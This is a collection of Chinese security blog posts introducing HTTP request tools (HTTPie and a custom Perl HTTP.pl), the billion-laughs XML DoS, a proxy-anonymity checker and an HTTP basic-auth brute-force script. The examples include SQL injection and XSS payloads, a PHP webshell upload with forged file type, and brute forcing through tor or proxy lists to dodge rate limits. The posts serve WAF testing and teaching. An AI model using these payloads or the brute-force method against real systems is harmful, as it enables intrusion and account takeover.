  大数据炒热了监控,大家都在讲“看到的能力” “数据为王”,实际都卡在了如何用有限的数据最大程度的自动化上。可惜的是现在的解决方案都本末倒置了,讲hadoop生态圈,ELK可视化检索,storm流式处理的很多,没有好的数据处理方式,是不能做到准确的自动化(最小人力介入并获得误报与漏报平衡的自动化)的。

五、安全防御能力

   防御型产品除了身份认证有些革新,其他没有啥进展,原因是防御受限于监控能力的输出,监控能力受限于数据处理能力(实际上很多监控能力还不到比拼大数据处理这一步)。

情报产品放入防御型产品中,实际不是很恰当。目前情报对防御来说最直接的作用是产生黑名单(威胁情报)

六、安全管理能力

   


 安全管理更多的是安全部门的自我保护,出事后可以和对方说,”看呀,我早说过的呀,不信? 有规范,有操作记录“。其实我不太同意七分管理三分技术的说法,安全做的好一定是润物细无声的自动化了。

七、安全运维能力

   应急响应与灾难恢复是企业安全最最基本的工作,属于不做好会死,做的很好也看不出来的工作。

八、安全运营能力

   超级奇怪的现象,安全运营上各大公司都在大力的做,安全会议多的人都不够用了。

九、安全取证/溯源能力

能做到这一步就相当完美了。安全的本质是风险管理,攻击的本质是利益的游戏,增加攻击的成本(大家都专注在提高攻击难度上)告诉你攻击的后果更是一种有效的打击方式(拦截单次攻击事件和打击掉一个攻击团伙谁更有效很明显)。 

来源:碳基体

HTTP发包工具 -HTTPie

一般用curl发送http协议包,这里介绍一款更为友好的发包工具 HTTPie(python版本)

(其实也自制了一款perl版本的发包工具HTTP.pl

一、安装 

pip install --upgrade httpie

或者 

easy_install httpie

或者 直接从github

pip install --upgrade https://github.com/jakubroztocil/httpie/tarball/master

可选的,

pip install --upgrade pyopenssl pyasn1 ndg-httpsclient


安装成功会 /usr/local/bin/http 


二、配置

参考:https://github.com/jkbr/httpie#config

vim  ~/.httpie/config.json

{
    "__meta__": {
        "about": "HTTPie configuration file",
        "help": "https://github.com/jkbr/httpie#config",
        "httpie": "0.8.0"
    },
    "default_options": ["--verbose"],
    "implicit_content_type": "form"
}



default_options: 配置默认选项,例如显示完整请求过程

implicit_content_type:默认请求的content_type类型,可以选择form或者json类型,例如选择form表示默认指定请求体的Content-Type为application/x-www-form-urlencoded

例如选择json表示默认指定请求体的Content-Type为application/json

 

三、使用

1.简介

基本使用方法 

http [选项] [请求方法] URL [ITEM [ITEM]]

仔细查看帮助选项是快速入门的好办法

http --help

2.常见功能示例

(1)发送查询字符串 ==

 (2)发送表单数据 

Content-Type为application/x-www-form-urlencoded

从文件读取数据发送表单 =@

 

 (3)发送JSON数据  :=

Content-Type为application/json

从文件读取JSON数据  :=@


   

(4)发送文件表单 @

Content-Type为multipart/form-data

 (5)是否自动重定向  --follow

不自动重定向的

 自动重定向的

 (6)指定请求头  :

 (7) 基本认证  --auth:passwd

缺少基本认证的

 指定基本认证的


(8)像wget一样下载 --download

 


更多使用方法请参照

https://github.com/jakubroztocil/httpie


后记: 

本来这个工具让我觉得沮丧,觉得把我的工具瞄成了渣渣,但今天发了ta有个编码问题,瞬间满血复活了,我写的工具就没有这个问题(吼吼吼....)


当使用httpie发送下面这个请求时

http http://127.0.0.1:12354 a='(select 1 from(select count(*),concat((select (select (SELECT CHAR(100, 56, 100, 57, 48, 9
7, 97, 57, 52, 51, 101, 52, 97, 100, 100, 50))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema
.tables group by x)a)'


编码为

a=(select+1+from(select+count(*),concat((select+(select+(SELECT+CHAR(100,+56,+100,+57,+48,+97,+97,+57,+52,+51,+101,+52,+97,+100,+100,+50)))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)


ta将不该编码的也编码了


而用HTTP.pl

./HTTP.pl -url http://127.0.0.1:12354 -method POST -d a='(select 1 from(select count(*),concat((select (select (SELECT CHAR(100, 56, 100, 57, 48, 9
7, 97, 57, 52, 51, 101, 52, 97, 100, 100, 50))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema
.tables group by x)a)'


编码为

a=(select+1+from(select+count(*),concat((select+(select+(SELECT+CHAR(100,+56,+100,+57,+48,+97,+97,+57,+52,+51,+101,+52,+97,+100,+100,+50)))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)





来源:碳基体

[科普]什么是 billion laughs-WordPress与Drupal的DoS攻击有感

这周最红的洞,无疑是 WordPress与Drupal xmlrpc.php引发的 DoS攻击 ,究其原理就是针对XML处理的一种叫billion laughs的攻击方式。


《web安全测试 》第5.10上传恶意XML实体文件这一章节就很清楚的介绍了这一攻击 。


攻击原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。


恶意XML结构示例:



生成脚本 :

https://github.com/tanjiti/perl_tools/blob/master/billionlaughs.pl

将生成的恶意XML文件的后缀改为xml,使用存在XML处理问题的XML处理器中打开(Windows XP就存在整个问题),然后就可以体验到死机的冻结感了。


我们看看流传的xml128.py PoC,实际就是向目标路径POST如下格式的XML内容,来耗尽内存

<?xml version="1.0" encoding="iso-8859-1"?>

<!DOCTYPE lolz [

<!ENTITY poc "aaa....">

]>

<lolz>&poc&poc.....</lolz>


参考:

《Web安全测试》

http://www.breaksec.com/?p=6362

来源:碳基体

HTTP.pl——通过HTTP发包工具了解HTTP协议

一、HTTP.pl功能简介

HTTP.pl perl编写的发包工具,简化版本curl,像curl致敬(唉,“致敬”都被于妈玩坏了)。


该发包工具支持HEAD,GET,METHOD三种基本请求方法,能处理 get/post方法的表单处理、文件上传请求、基本认证,能指定HTTP请求头,指定请求超时时间,指定自动Follow重定向的次数及使用代理。



使用的perl模块

(1)URI 相关模块 : 处理URI对象,分解及组装URI对象

use URI;
use URI::Split qw(uri_split uri_join);
use URI::Escape;

(2)HTTP协议相关部分:构造请求,发送请求,及解析响应

use LWP::UserAgent;
use HTTP::Headers;
use HTTP::Cookies;
use HTTP::Request::Common;


二、HTTP.pl脚本安装


git clone https://github.com/tanjiti/WAFTest

cpan App::cpanminuscat requirePackage.txt | cpanm

三、HTTP.pl使用实例

1. 脚本选项解析

perl HTTP.pl  --help

-help 帮助选项
-url 'http://xxxx.xx.com' HTTP请求的URL
-m|method GET|POST|HEAD   HTTP请求方法,默认为GET方法

-H|header X-Forwarded-For='127.0.0.1, 127.0.0.2' -H Via='Squid' HTTP请求头
-cookie usertrack='123456' -b hit=1 HTTP cookie
-d|data name='tanjiti' -d passwd=12345 HTTP 查询字符串/post表单数据


-A|user-agent 'baiduspider' HTTP UserAgent,默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
-e|referer 'http://www.baidu.com' HTTP Referer

-proxy   'http://64.34.14.28:7808' 代理,支持https,http,socks代理
-t|timeout 180   请求超时时间,默认值180s
-L|redirect 7  重定向次数,默认值7次


-F|fileUpload  表明本次请求为文件上传
-fileFiled 'uploaded' 文件域name
-filePath  '/tmp/a.jpeg' 本地文件路径
-fileName  'a.php'  上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型

-s|silent : 隐藏http完整内容,只显示http响应消息
-r|raw : 表明采用未进行urlencode编码的方式提交post数据

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码


2.重定向例子

(1)关闭自动重定向

选项 -L

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 0

 

(2)设置自动重定向次数,默认为7次

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 1

 

3.基本认证例子


选项

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码


需要基本验证的请求

./HTTP.pl -url http://www.tanjiti.com/xxx/

 

基本验证

./HTTP.pl -url http://www.tanjiti.com/xxx/  -basicAuth -username tanjiti -password q

 

4. GET提交表单的例子

选项 -d

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit'

 

5. POST提交表单的例子

选项 

-d 提交数据

-method 指定HTTP请求方法

-raw 是否进行urlencode编码

(1)提交urlencode编码

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post


(2)提交原始数据

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post -raw

 

6. 提交文件上传请求

选项说明

 -F|fileUpload  表明本次请求为文件上传

-fileFiled 'uploaded' 文件域name
-filePath  '/tmp/a.jpeg' 本地文件路径
-fileName  'a.php'  上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型

-d 其他表单域数据

(1)上传本地文件到服务器

上传php文件

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" 

 

上传jpeg图片文件

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/king.jpeg" 

 

(2) 上传本地文件到服务器,并修改文件实际的名字和类型

文件上传处理程序一般会检查文件名和文件类型,我们可以对其进行伪造

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName '1.jpg .php' -fileType 'image/jpeg'

 


(3)  自己构造文件上传包的内容,包括文件名,文件类型,文件内容

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload  -fileName 'avator.jpeg' -fileType 'image/jpeg' -fileContent '<?php @eval($_POST[a]);?>'

 

7.构造cookie头

选项 

-cookie

./HTTP.pl -url http://www.tanjiti.com/a.php -cookie username="tanjiti' or ''= '' -- "  -cookie password='1 or 1=1 --'

   



8.构造HTTP头

在web攻击中,除了篡改cookie,http请求体外,http请求头也是被攻击的对象。因为应用程序出于某些特定需求需要从http请求头里收集信息。


下面是常见用于日志收集的HTTP请求头:

User-Agent 脚本中默认为 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0

Referer  用户是从这个页面上依照链接跳转过来的

Host 

Accept  告知服务器发送何种媒体类型,脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Charset  e.g. utf-8 告知服务器发送何种字符集 

Accept-Encoding 告知服务器采用何种编码,脚本中默认为gzip,deflate,sdch

Accept-Language 告知服务器采用何种语言,脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6 

X_Forwarded_For 经过的客户端IP地址 

Via   代理服务器标识

(1) 指定UserAgent

选项 

-A  或者-user-agent

./HTTP.pl -url http://www.tanjiti.com -A 'tanjiti'

  (2)指定referer

选项 

-e  或者-referer

./HTTP.pl -url http://www.tanjiti.com -e 'http://www.google.com'


 
   (3)指定HTTP头

./HTTP.pl -url http://127.0.0.1 -H Accept='*/*' -H Accept-Charset='utf-8' -H Accept-Encoding='identity' -H Accept-Language='zh-CN,zh;q=0.8,en;q=0.6' -H Host='www.tanjiti.com' -H Via='1.0 tanjiit.com(squid 0.54)' -H X-Forwarded-For='129.78.138.66, 129.78.64.103'

 


8.使用代理例子

选项 -proxy

(1)使用HTTP代理

./HTTP.pl  -url http://www.tanjiti.com -proxy http://61.158.219.226:8118

(2) 使用tor/socks代理

./HTTP.pl  -url http://www.tanjiti.com -proxy socks://127.0.0.1:9050

 ./HTTP.pl  -url http://www.tanjiti.com -proxy socks://180.153.139.246:8888


9.其它选项


(1) 仅发包,不回显具体的HTTP协议包

选项 -s

./HTTP.pl  -url http://www.tanjiti.com/a.php -s

(2)指定请求超时时间,默认为180s

选项 -t (单位s)

 ./HTTP.pl  -url http://www.tanjiti.com/ -t 20

四、HTTPFromFile.pl

从文件内容构造HTTP请求来发包

以测试某个站点WAF的XSS防御为例


第一步:构造XSS请求包

echo -ne 'GET /?a= HTTP/1.1\r\nHost: www.tanjiti.com\r\nUserAgent: curl 0.9\r\n' > xss.t


 

第二步:发送xss请求包

perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t

 选项说明:

-code: 预期的http响应码,不是所有的waf都用403做拦截响应码

-host: 指定发包的Host,默认为127.0.0.1

-port 指定发包的端口,默认为80

-file 指定存放请求包内容的文件,必须指定该参数


HTTPFromFile还可以批量读取文件内容与发送请求包,并通缉结果

perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t

-dir 指定存放请求包内容的文件目录

 


参考:

《HTTP权威指南》

http://en.wikipedia.org/wiki/List_of_HTTP_header_fields

http://search.cpan.org/~mschilli/libwww-perl/lib/LWP.pm

来源:碳基体

Proxy探测脚本与HTTP基本认证暴力破解脚本

一、Proxy探测脚本

功能:探测Proxy地址是否可用,速度及代理的隐匿程度

脚本地址:https://github.com/tanjiti/perl_tools/blob/master/isProxyOK.pl

使用方法:

1. 获取帮助

perl isProxyOK.pl --help

2. 判断指定Proxy地址是否可用及连通速度

黄色字体表明代理不可用,红色字体表示代理可用

perl isProxyOK.pl -proxy http://61.158.219.226:8118


除了http代理,也支持socks代理

perl isProxyOK.pl -proxy socks://180.153.139.246:8888

 

除了探测单个proxy地址,我们也可以批量探测文件中的代理,并将可连通的代理输出到指定文件中以备用

perl isProxyOK.pl -proxy proxy_Scrapebox.txt [-out proxy_20140511_out]


代理文件的格式如下proxy_Scrapebox.txt(代理来自Scrapebox):

 

运行

 

运行结束后将可用代理存入文件proxy_Scrapebox.txt_out中,你也可以使用 -out 选项指定输出文件名 

 

3.判断代理的类型

1)脚本将代理分为三类

(1)High Anonymity Proxy/elite Proxy 高度匿名代理:不会在服务器访问日志中留下VIA,与X_Forwarded_For内容

(2)Anonymity Proxy 匿名代理:可隐藏访问者原始IP,X-Forwarded-For中没有实际的访问IP

(3)Transparent Proxy透明代理: 有详细的代理信息及访问者IP,代理IP


1)脚本运行的先决条件

启动该功能需要预先在脚本运行环境下搭建web server

本例以在vps下搭建lighttpd 为例,设置lighttpd日志格式及启动server


设置lighttpd的日志格式,主要是要记录X-Forwarded-For 、VIA头部

vim /etc/lighttpd/conf-enabled/10-accesslog.conf

accesslog.format = "%h %V %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"%{X-Forwarded-For}i\" \"%{VIA}i\""

accesslog.filename = "/var/log/lighttpd/access.log"

具体的日志格式设置可参考《 Apache/Nginx/Lighttpd/Tomcat 日志格式 cheatsheet


2)代理判断的流程

通过指定代理访问web server,然后在web server访问日志中查看VIA,与X_Forwarded_For字段

第一步:使用代理访问 http://www.tanjiti.com/proxy.php ,获得代理相关请求及初步的代理判断

{

  • HTTP_VIA: false,

  • HTTP_X_FORWARDED_FOR: "xxx.xxx.xxx.xxx",

  • HTTP_X_FORWARDED_PROTO: "http",

  • REMOTE_ADDR: "xxx.xxx.xxx.xxx",

  • HTTP_PROXY_CONNECTION: false,

  • PROXY_TYPE: "transparent"

}

第二步:

根据访问者真实的ip地址,查看HTTP_X_FORWARDED_FOR头,看是保护在其中,如果不在,则为匿名代理




4)实例

-proxy: 代理地址 也可以是代理地址文件

-vv: 表示获得代理类型

-url: 你的web server ip或域名

-ip: 你的访问ip

-logpath: web server访问日志路径,默认为/var/log/lighttpd/access.log

a.透明代理Transparent 

perl isProxyOK.pl -vv  -proxy http://218.107.217.82:8080

 

b.匿名代理Anonymity

perl isProxyOK.pl -vv  -proxy http://64.34.14.28:7808


c.高度匿名代理elite

perl isProxyOK.pl -vv  -proxy socks://180.153.139.246:8888

 

该代理脚本待改善的地方

1. 不支持需要认证的代理服务器

2. 不支持多线程探测


二、HTTP 基本认证暴力破解脚本

 功能:使用字典破解HTTP basic Authentication

脚本地址:https://github.com/tanjiti/perl_tools/blob/master/crackbasicAuth.pl

补充知识:

基本认证实例说明:lighttpd + htpasswd

第一步:htpasswd创建基本认证

在指定路径下生成基本认证文件

htpasswd -c [认证文件路径,使用绝对路径] tanjiti(用户名)

第二步:启用auth模块

lighttpd-enable-mod auth

/etc/init.d/lighttpd force-reload

第三步: 配置auth模块

vim conf-enabled/05-auth.conf

增加

auth.backend = "htpasswd"

auth.backend.htpasswd.userfile = "[filepath absolute]"

auth.require = ("[需要采取基本认证的路径,使用相当路径]" => (

    "method" => "basic",

    "realm" => "[基本认证框中的服务器提示]",

    "require" => "user=tanjiti"

))

/etc/init.d/lighttpd force-reload

此时访问该路径的文件,则会要求进行基本认证,否则401

实际上服务器是期待客户端发送一个带有帐户信息的Authorization头

Authorization: Basic dGFuaml0aToxMjM=(username:password base64编码)

 

使用方法:

1.获取帮助

perl crackbasicAuth.pl -h

2. 使用脚本登陆

perl crackbasicAuth.pl  -url http://www.tanjiti.com/xxxx/ -username tanjiti -password 123 -vv

选项说明:

-url 需要基本认证的路径

-username 基本认证用户名,可以是字符串,也可以是字符串(字典)文件

-password 基本认证密码,可以是字符串,也可以是字符串(字典)文件

-vv 开启该选项,在终端开启看到详细的HTTP请求头和响应头

-tor 表示使用tor作为代理来访问目标url

-proxy表示使用代理来访问目标url,可以是单个的代理字符串,也可以是代理列表文件(我们可以使用一、Proxy探测脚本介绍的方法来挑选合适的代理列表)

 

 

使用字典尝试登陆

perl crackbasicAuth.pl  -url http://www.tanjiti.com/xxxx/ -username a -password b

   使用tor(debian/ubuntu 使用apt-get install tor,默认监听端口9050)

perl crackbasicAuth.pl  -url http://www.tanjiti.com/xxxx/ -username a -password b -tor


 

使用proxy list

perl crackbasicAuth.pl  -url http://www.tanjiti.com/xxxx -username a -password b -proxy proxy_Scrapebox.txt_out

 

其实基本认证一般会配合ip的访问控制策略(只允许某段IP访问),使用代理隐藏IP,绕过登陆安全限制(例如限制单个IP或单个用户名的访问频率)的意义不大,但可以将理念用于没有ip限制的表单登陆中。

来源:碳基体